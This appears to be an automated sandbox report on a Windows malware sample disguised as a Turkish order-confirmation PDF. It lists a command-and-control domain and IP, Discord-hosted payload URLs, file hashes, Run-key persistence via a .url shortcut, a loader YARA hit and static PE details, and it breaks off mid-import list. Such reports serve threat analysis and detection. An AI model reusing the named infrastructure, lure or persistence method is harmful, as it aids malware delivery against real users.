Pw`~hustlelord.ddns.net	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
blessmyhustlelord.ddns.net	37.0.14.195	true	true	2%, Virustotal, Browse	unknown
cdn.discordapp.com	162.159.130.233	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://cdn.discordapp.com/attachments/990482594137251863/990489253987360768/Eluiezilfwmdrgrdfrqpnwmurrnwnhm	false		high
Pw`~hustlelord.ddns.net	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://cdn.discordapp.com/attachments/990482594137251863/990489253987360768/Eluiezilfwmdrgrdfrqpnwm	Eluiezilfw.exe, 00000008.00000002.347399894.0000000003760000.00000004.00001000.00020000.00000000.sdmp	false	high
https://cdn.discordapp.com/	Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe, 00000000.00000003.278138835.00000000007C1000.00000004.00000020.00020000.00000000.sdmp, Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe, 00000000.00000002.310588608.00000000007BC000.00000004.00000020.00020000.00000000.sdmp, Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe, 00000000.00000002.310005988.0000000000775000.00000004.00000020.00020000.00000000.sdmp	false	high
https://cdn.discordapp.com/.	Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe, 00000000.00000002.310005988.0000000000775000.00000004.00000020.00020000.00000000.sdmp	false	high
https://cdn.discordapp.com/2y	Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe, 00000000.00000003.278138835.00000000007C1000.00000004.00000020.00020000.00000000.sdmp, Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe, 00000000.00000002.310588608.00000000007BC000.00000004.00000020.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
162.159.130.233	cdn.discordapp.com	United States	13335	CLOUDFLARENETUS	false
37.0.14.195	blessmyhustlelord.ddns.net	Netherlands	198301	WKD-ASIE	true
162.159.133.233	unknown	United States	13335	CLOUDFLARENETUS	false
162.159.134.233	unknown	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.1

General Information

Joe Sandbox Version:	35.0.0 Citrine
Analysis ID:	652390
Start date and time: 26/06/202209:41:34	2022-06-26 09:41:34 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 11m 53s
Hypervisor based Inspection enabled:	false
Report type:	light
Sample file name:	Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	29
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winEXE@9/5@19/5
EGA Information:	Successful, ratio: 50%
HDC Information:	Successful, ratio: 59.3% (good quality ratio 42.3%) Quality average: 52.1% Quality standard deviation: 41.1%
HCA Information:	Successful, ratio: 97% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .exe Adjust boot time Enable AMSI

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, BackgroundTransferHost.exe, backgroundTaskHost.exe, SgrmBroker.exe, conhost.exe, WmiPrvSE.exe, svchost.exe, wuapihost.exe
TCP Packets have been reduced to 100
Excluded IPs from analysis (whitelisted): 20.238.103.94, 20.223.24.244
Excluded domains from analysis (whitelisted): www.bing.com, fs.microsoft.com, asf-ris-prod-neu-azsc.northeurope.cloudapp.azure.com, displaycatalog-rp-europe.md.mp.microsoft.com.akadns.net, ris-prod.trafficmanager.net, neu-displaycatalogrp.frontdoor.bigcatalog.commerce.microsoft.com, arc.msn.com, ris.api.iris.microsoft.com, consumer-displaycatalogrp-aks2aks-europe.md.mp.microsoft.com.akadns.net, store-images.s-microsoft.com, login.live.com, sls.update.microsoft.com, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, displaycatalog-rp.md.mp.microsoft.com.akadns.net
Execution Graph export aborted for target Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe, PID 6356 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
09:42:46	API Interceptor	1x Sleep call for process: Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe modified
09:42:55	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Eluiezilfw C:\Users\Public\Libraries\wflizeiulE.url
09:43:05	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run Eluiezilfw C:\Users\Public\Libraries\wflizeiulE.url
09:43:07	API Interceptor	2x Sleep call for process: Eluiezilfw.exe modified

Process:	C:\Users\user\Desktop\Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	901632
Entropy (8bit):	6.877204437689639
Encrypted:	false
SSDEEP:	12288:VFAa/jmra7RB+8VL4sckZIRDrtQXLgL7f/Bm+vym2/r3Ayd3soZdKYcSwuY:jV6rk1VL4oIRD6bgXXtvHy1XKly
MD5:	8E60C68E832622B0EBD88A612898A9F9
SHA1:	99C8A0DB1608B7F3FE783829F13A6A594554F142
SHA-256:	6F4628DB14DDCFF78F5B0AD2C62F6791E4B29901EB9EF8A3686A2B7019308A99
SHA-512:	96DE1DEABDA27BB5B24676D9CBB667B15779A166388FC71C345A11C66A521997244FD0DEDADFCD3BE73F2E3302B0C90F77231907690590D1F3D8107B0F0E9541
Malicious:	true
Yara Hits:	Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: C:\Users\Public\Libraries\Eluiezilfw.exe, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 22%
Reputation:	low
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*................. ..........X:.......@....@..........................P...................@...............................,......<.......................x...................................................L................................text............................... ..`.itext.......0...................... ..`.data...D,...@.......$..............@....bss.....8...p.......R...................idata...,...........R..............@....tls....@................................rdata..............................@..@.reloc..x...........................@..B.rsrc...<............ ..............@..@.............P......................@..@................................................................................................

C:\Users\Public\Libraries\Eluiezilfw.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Reputation:	high, very likely benign file
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\Public\Libraries\wflizeiulE.url

Download File

Process:	C:\Users\user\Desktop\Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe
File Type:	MS Windows 95 Internet shortcut text (URL=<file:"C:\\Users\\Public\\Libraries\\Eluiezilfw.exe">), ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	103
Entropy (8bit):	5.011960120240937
Encrypted:	false
SSDEEP:	3:HRAbABGQYmTWAX+rSF55i0XM3tJHysGKd8V+K+qvn:HRYFVmTWDyzUtJHysbTK+Un
MD5:	D16E6F915215004FD953F38105469F43
SHA1:	CA05489EF9AFCE552299CE05CB029C069C584FC9
SHA-256:	1C8419346F48517D46B9281EAD00F10D55E2BBC8B3EC2B9B25FA45ADC61D8827
SHA-512:	D89168D4CFC4E29E7585B31C3F926F9973D98EC47B15F9660AAD33C6A39D458F0D07A18A0C8C83602D4BFE04651D20AB473D69CF760D5EF28276FC8FA651C588
Malicious:	false
Yara Hits:	Rule: Methodology_Shortcut_HotKey, Description: Detects possible shortcut usage for .URL persistence, Source: C:\Users\Public\Libraries\wflizeiulE.url, Author: @itsreallynick (Nick Carr) Rule: Methodology_Contains_Shortcut_OtherURIhandlers, Description: Detects possible shortcut usage for .URL persistence, Source: C:\Users\Public\Libraries\wflizeiulE.url, Author: @itsreallynick (Nick Carr)
Reputation:	low
Preview:	[InternetShortcut]..URL=file:"C:\\Users\\Public\\Libraries\\Eluiezilfw.exe"..IconIndex=40..HotKey=878..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\Eluiezilfwmdrgrdfrqpnwmurrnwnhm[1]

Download File

Process:	C:\Users\user\Desktop\Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe
File Type:	data
Category:	dropped
Size (bytes):	279040
Entropy (8bit):	7.595146817608574
Encrypted:	false
SSDEEP:	6144:5Htw4G6ymcP6lLkahkaaHTEFBYt+mzZGTxIM9d70gXf8lxBy1q:/6dzHTKBYtXZ26gdogK8q
MD5:	7D74AF495B07AAD93486870343B767E3
SHA1:	32123E362E845DDE988E09A5A4309172C9762201
SHA-256:	152076F0A4EAEDD3FFDC4022C8E0F5850F9B2DEFFFFCBFE1E2B720096CF9600D
SHA-512:	28BC9AD9021A9B0D38F03BF8D424813CB00DFE85AA272C3C38345A7FC78C6E8A905D90F5D2DA6019CE3E7A1F129F4633127C26BF8EC0710311866725899BEDD6
Malicious:	false
Reputation:	low
Preview:	(..%.%%%)%%%..%%.%%%%%%%e%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%.%%3..3%.....q..y.DNE..JB.<HE><..J.E.@E.P.ED.Ei*.EHJ.@S../I%%%%%%%..=....................X..................c.......}.X.....c.;......R........~....lX.G....l.......O.....R.......wD>....u %%q..%.O%%%%%%%%.%....'.%..%%.'%%%%%.n.%%5%%%..%%%e%%5%%%'%%)%%%%%%%)%%%%%%%%.)%%-%%%%%%'%.%%%%%%%%%%%5%%5%%%%%%5%%%%%%%%%%%%..%..%%%u'%.c'%%%%%%%%%%%%%%%%%%%'%.G%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%SSSS%%%%...%%5%%%..%%)%%%%%%%%%%%%%%E%%.SSSS%%%%y5%%%..%%7%%%..%%%%%%%%%%%%%e%%.SSS%%%%%..%%%..%%%%%%..%%%%%%%%%%%%%%%%.SSSSSS%%..%%%..%%3%%%..%%%%%%%%%%%%%e%%.SSSSSS%%.G%%%%'%%I%%%..%%%%%%%%%%%%%e%%uSSSSS%%%.5%%%U'%%7%%%..%%%%%%%%%%%%%e%%uS.N.>%%%.c'%%u'%%e'%%''%%%%%%%%%%%%%e%%e%%%%%%%%%%%%%u'%%%%%%+'%%%%%%%%%%%%%e%%u%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\Eluiezilfwmdrgrdfrqpnwmurrnwnhm[1]

Download File

Process:	C:\Users\Public\Libraries\Eluiezilfw.exe
File Type:	data
Category:	dropped
Size (bytes):	279040
Entropy (8bit):	7.595146817608574
Encrypted:	false
SSDEEP:	6144:5Htw4G6ymcP6lLkahkaaHTEFBYt+mzZGTxIM9d70gXf8lxBy1q:/6dzHTKBYtXZ26gdogK8q
MD5:	7D74AF495B07AAD93486870343B767E3
SHA1:	32123E362E845DDE988E09A5A4309172C9762201
SHA-256:	152076F0A4EAEDD3FFDC4022C8E0F5850F9B2DEFFFFCBFE1E2B720096CF9600D
SHA-512:	28BC9AD9021A9B0D38F03BF8D424813CB00DFE85AA272C3C38345A7FC78C6E8A905D90F5D2DA6019CE3E7A1F129F4633127C26BF8EC0710311866725899BEDD6
Malicious:	false
Preview:	(..%.%%%)%%%..%%.%%%%%%%e%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%.%%3..3%.....q..y.DNE..JB.<HE><..J.E.@E.P.ED.Ei*.EHJ.@S../I%%%%%%%..=....................X..................c.......}.X.....c.;......R........~....lX.G....l.......O.....R.......wD>....u %%q..%.O%%%%%%%%.%....'.%..%%.'%%%%%.n.%%5%%%..%%%e%%5%%%'%%)%%%%%%%)%%%%%%%%.)%%-%%%%%%'%.%%%%%%%%%%%5%%5%%%%%%5%%%%%%%%%%%%..%..%%%u'%.c'%%%%%%%%%%%%%%%%%%%'%.G%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%SSSS%%%%...%%5%%%..%%)%%%%%%%%%%%%%%E%%.SSSS%%%%y5%%%..%%7%%%..%%%%%%%%%%%%%e%%.SSS%%%%%..%%%..%%%%%%..%%%%%%%%%%%%%%%%.SSSSSS%%..%%%..%%3%%%..%%%%%%%%%%%%%e%%.SSSSSS%%.G%%%%'%%I%%%..%%%%%%%%%%%%%e%%uSSSSS%%%.5%%%U'%%7%%%..%%%%%%%%%%%%%e%%uS.N.>%%%.c'%%u'%%e'%%''%%%%%%%%%%%%%e%%e%%%%%%%%%%%%%u'%%%%%%+'%%%%%%%%%%%%%e%%u%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.877204437689639
TrID:	Win32 Executable (generic) a (10002005/4) 99.81% Windows Screen Saver (13104/52) 0.13% Win16/32 Executable Delphi generic (2074/23) 0.02% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02%
File name:	Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe
File size:	901632
MD5:	8e60c68e832622b0ebd88a612898a9f9
SHA1:	99c8a0db1608b7f3fe783829f13a6a594554f142
SHA256:	6f4628db14ddcff78f5b0ad2c62f6791e4b29901eb9ef8a3686a2b7019308a99
SHA512:	96de1deabda27bb5b24676d9cbb667b15779a166388fc71c345a11c66a521997244fd0dedadfcd3be73f2e3302b0c90f77231907690590d1f3d8107b0f0e9541
SSDEEP:	12288:VFAa/jmra7RB+8VL4sckZIRDrtQXLgL7f/Bm+vym2/r3Ayd3soZdKYcSwuY:jV6rk1VL4oIRD6bgXXtvHy1XKly
TLSH:	FB159E25F6C04437C5F21D755C4BA2A59837BF112E2CAC866BE53E4D3F3AA81382D297
File Content Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7.......................................................................................................................................

File Icon


Icon Hash:	74e08889828b84d4

Static PE Info

General

Entrypoint:	0x4a3a58
Entrypoint Section:	.itext
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI
DLL Characteristics:
Time Stamp:	0x2A425E19 [Fri Jun 19 22:22:17 1992 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	5280055d457e9ca268949d0a6c7d827a

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
add esp, FFFFFFF0h
mov eax, 004A1F80h
call 00007F953C66CF31h
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword ptr [004A6A60h]
mov eax, dword ptr [eax]
call 00007F953C6CD89Dh
mov ecx, dword ptr [004A6C00h]
mov eax, dword ptr [004A6A60h]
mov eax, dword ptr [eax]
mov edx, dword ptr [004A1ADCh]
call 00007F953C6CD89Dh
mov eax, dword ptr [004A6A60h]
mov eax, dword ptr [eax]
mov byte ptr [eax+5Bh], 00000000h
mov eax, dword ptr [004A6A60h]
mov eax, dword ptr [eax]
call 00007F953C6CD906h
call 00007F953C66AA8Dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xab000	0x2c80	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xba000	0x2a13c	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xb0000	0x9d78	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0xaf000	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xab84c	0x6e4	.idata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xa1288	0xa1400	False	0.5252316497093024	data	6.580947017578751	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.itext	0xa3000	0xab0	0xc00	False	0.556640625	data	5.90726865777267	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0xa4000	0x2c44	0x2e00	False	0.4107506793478261	data	4.2710329018780255	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.bss	0xa7000	0x38d8	0x0	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0xab000	0x2c80	0x2e00	False	0.31326426630434784	data	5.123456156924204	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0xae000	0x40	0x0	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0xaf000	0x18	0x200	False	0.05078125	data	0.2044881574398449	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xb0000	0x9d78	0x9e00	False	0.5820065268987342	data	6.661487991041825	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
.rsrc	0xba000	0x2a13c	0x2a200	False	0.42494088464391694	data	6.66870756771348	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
AUDIO	0xbabe8	0x21944	RIFF (little-endian) data, WAVE audio, Microsoft ADPCM, mono 22050 Hz	English	United States
RT_CURSOR	0xdc52c	0x134	data	English	United States
RT_CURSOR	0xdc660	0x134	data	English	United States
RT_CURSOR	0xdc794	0x134	data	English	United States
RT_CURSOR	0xdc8c8	0x134	data	English	United States
RT_CURSOR	0xdc9fc	0x134	data	English	United States
RT_CURSOR	0xdcb30	0x134	data	English	United States
RT_CURSOR	0xdcc64	0x134	data	English	United States
RT_BITMAP	0xdcd98	0x1d0	data	English	United States
RT_BITMAP	0xdcf68	0x1e4	data	English	United States
RT_BITMAP	0xdd14c	0x1d0	data	English	United States
RT_BITMAP	0xdd31c	0x1d0	data	English	United States
RT_BITMAP	0xdd4ec	0x1d0	data	English	United States
RT_BITMAP	0xdd6bc	0x1d0	data	English	United States
RT_BITMAP	0xdd88c	0x1d0	data	English	United States
RT_BITMAP	0xdda5c	0x1d0	data	English	United States
RT_BITMAP	0xddc2c	0x1d0	data	English	United States
RT_BITMAP	0xdddfc	0x1d0	data	English	United States
RT_BITMAP	0xddfcc	0xe8	GLS_BINARY_LSB_FIRST	English	United States
RT_ICON	0xde0b4	0x1200	data
RT_ICON	0xdf2b4	0xa00	data
RT_ICON	0xdfcb4	0x600	GLS_BINARY_LSB_FIRST
RT_DIALOG	0xe02b4	0x52	data
RT_DIALOG	0xe0308	0x52	data
RT_STRING	0xe035c	0xd8	data
RT_STRING	0xe0434	0x450	data
RT_STRING	0xe0884	0x53c	data
RT_STRING	0xe0dc0	0x2ac	data
RT_STRING	0xe106c	0xc8	data
RT_STRING	0xe1134	0x108	data
RT_STRING	0xe123c	0x2a8	data
RT_STRING	0xe14e4	0x3e8	data
RT_STRING	0xe18cc	0x390	data
RT_STRING	0xe1c5c	0x370	data
RT_STRING	0xe1fcc	0x390	data
RT_STRING	0xe235c	0xd0	data
RT_STRING	0xe242c	0xa0	data
RT_STRING	0xe24cc	0x2b8	data
RT_STRING	0xe2784	0x474	data
RT_STRING	0xe2bf8	0x38c	data
RT_STRING	0xe2f84	0x2b4	data
RT_RCDATA	0xe3238	0x10	data
RT_RCDATA	0xe3248	0x2d8	data
RT_RCDATA	0xe3520	0xb5e	Delphi compiled form 'T__691934005'
RT_GROUP_CURSOR	0xe4080	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States
RT_GROUP_CURSOR	0xe4094	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States
RT_GROUP_CURSOR	0xe40a8	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States
RT_GROUP_CURSOR	0xe40bc	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States
RT_GROUP_CURSOR	0xe40d0	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States
RT_GROUP_CURSOR	0xe40e4	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States
RT_GROUP_CURSOR	0xe40f8	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States
RT_GROUP_ICON	0xe410c	0x30	data

Imports

DLL	Import
oleaut32.dll	SysFreeString, SysReAllocStringLen, SysAllocStringLen
advapi32.dll	RegQueryValueExA, RegOpenKeyExA, RegCloseKey
user32.dll	GetKeyboardType, DestroyWindow, LoadStringA, MessageBoxA, CharNextA
kernel32.dll	GetACP, Sleep, VirtualFree, VirtualAlloc, GetCurrentThreadId, InterlockedDecrement, InterlockedIncrement, VirtualQuery, WideCharToMultiByte, MultiByteToWideChar, lstrlenA, lstrcpynA, LoadLibraryExA, GetThreadLocale, GetStartupInfoA, GetProcAddress, GetModuleHandleA, GetModuleFileNameA, GetLocaleInfoA, GetCommandLineA, FreeLibrary, FindFirstFileA, FindClose, ExitProcess, CompareStringA, WriteFile, UnhandledExceptionFilter, RtlUnwind, RaiseException, GetStdHandle
kernel32.dll	TlsSetValue, TlsGetValue, LocalAlloc, GetModuleHandleA
user32.dll	CreateWindowExA, WindowFromPoint, WaitMessage, UpdateWindow, UnregisterClassA, UnhookWindowsHookEx, TranslateMessage, TranslateMDISysAccel, TrackPopupMenu, SystemParametersInfoA, ShowWindow, ShowScrollBar, ShowOwnedPopups, ShowCaret, SetWindowsHookExA, SetWindowPos, SetWindowPlacement, SetWindowLongW, SetWindowLongA, SetTimer, SetScrollRange, SetScrollPos, SetScrollInfo, SetRect, SetPropA, SetParent, SetMenuItemInfoA, SetMenu, SetForegroundWindow, SetFocus, SetCursor, SetClipboardData, SetClassLongA, SetCapture, SetActiveWindow, SendMessageW, SendMessageA, ScrollWindow, ScreenToClient, RemovePropA, RemoveMenu, ReleaseDC, ReleaseCapture, RegisterWindowMessageA, RegisterClipboardFormatA, RegisterClassA, RedrawWindow, PtInRect, PostQuitMessage, PostMessageA, PeekMessageW, PeekMessageA, OpenClipboard, OffsetRect, OemToCharA, NotifyWinEvent, MessageBoxA, MessageBeep, MapWindowPoints, MapVirtualKeyA, LoadStringA, LoadKeyboardLayoutA, LoadIconA, LoadCursorA, LoadBitmapA, KillTimer, IsZoomed, IsWindowVisible, IsWindowUnicode, IsWindowEnabled, IsWindow, IsRectEmpty, IsIconic, IsDialogMessageW, IsDialogMessageA, IsChild, InvalidateRect, IntersectRect, InsertMenuItemA, InsertMenuA, InflateRect, HideCaret, GetWindowThreadProcessId, GetWindowTextA, GetWindowRect, GetWindowPlacement, GetWindowLongW, GetWindowLongA, GetWindowDC, GetTopWindow, GetSystemMetrics, GetSystemMenu, GetSysColorBrush, GetSysColor, GetSubMenu, GetScrollRange, GetScrollPos, GetScrollInfo, GetPropA, GetParent, GetWindow, GetMessageTime, GetMessagePos, GetMenuStringA, GetMenuState, GetMenuItemInfoA, GetMenuItemID, GetMenuItemCount, GetMenu, GetLastActivePopup, GetKeyboardState, GetKeyboardLayoutNameA, GetKeyboardLayoutList, GetKeyboardLayout, GetKeyState, GetKeyNameTextA, GetIconInfo, GetForegroundWindow, GetFocus, GetDesktopWindow, GetDCEx, GetDC, GetCursorPos, GetCursor, GetClipboardData, GetClientRect, GetClassLongA, GetClassInfoA, GetCapture, GetActiveWindow, FrameRect, FindWindowA, FillRect, EqualRect, EnumWindows, EnumThreadWindows, EnumChildWindows, EndPaint, EnableWindow, EnableScrollBar, EnableMenuItem, EmptyClipboard, DrawTextA, DrawStateA, DrawMenuBar, DrawIconEx, DrawIcon, DrawFrameControl, DrawEdge, DispatchMessageW, DispatchMessageA, DestroyWindow, DestroyMenu, DestroyIcon, DestroyCursor, DeleteMenu, DefWindowProcA, DefMDIChildProcA, DefFrameProcA, CreatePopupMenu, CreateMenu, CreateIcon, CloseClipboard, ClientToScreen, CheckMenuItem, CharNextW, CallWindowProcA, CallNextHookEx, BeginPaint, CharNextA, CharLowerBuffA, CharLowerA, CharUpperBuffA, CharToOemA, AdjustWindowRectEx, ActivateKeyboardLayout
gdi32.dll	UnrealizeObject, StretchBlt, SetWindowOrgEx, SetWinMetaFileBits, SetViewportOrgEx, SetTextColor, SetStretchBltMode, SetROP2, SetPixel, SetMapMode, SetEnhMetaFileBits, SetDIBColorTable, SetBrushOrgEx, SetBkMode, SetBkColor, SelectPalette, SelectObject, SelectClipRgn, SaveDC, RestoreDC, Rectangle, RectVisible, RealizePalette, Polyline, Polygon, PlayEnhMetaFile, PatBlt, MoveToEx, MaskBlt, LineTo, LPtoDP, IntersectClipRect, GetWindowOrgEx, GetWinMetaFileBits, GetTextMetricsA, GetTextExtentPointA, GetTextExtentPoint32A, GetSystemPaletteEntries, GetStockObject, GetRgnBox, GetPixel, GetPaletteEntries, GetObjectA, GetEnhMetaFilePaletteEntries, GetEnhMetaFileHeader, GetEnhMetaFileDescriptionA, GetEnhMetaFileBits, GetDeviceCaps, GetDIBits, GetDIBColorTable, GetDCOrgEx, GetCurrentPositionEx, GetClipBox, GetBrushOrgEx, GetBitmapBits, GdiFlush, ExcludeClipRect, DeleteObject, DeleteEnhMetaFile, DeleteDC, CreateSolidBrush, CreatePenIndirect, CreatePalette, CreateHalftonePalette, CreateFontIndirectA, CreateEnhMetaFileA, CreateDIBitmap, CreateDIBSection, CreateCompatibleDC, CreateCompatibleBitmap, 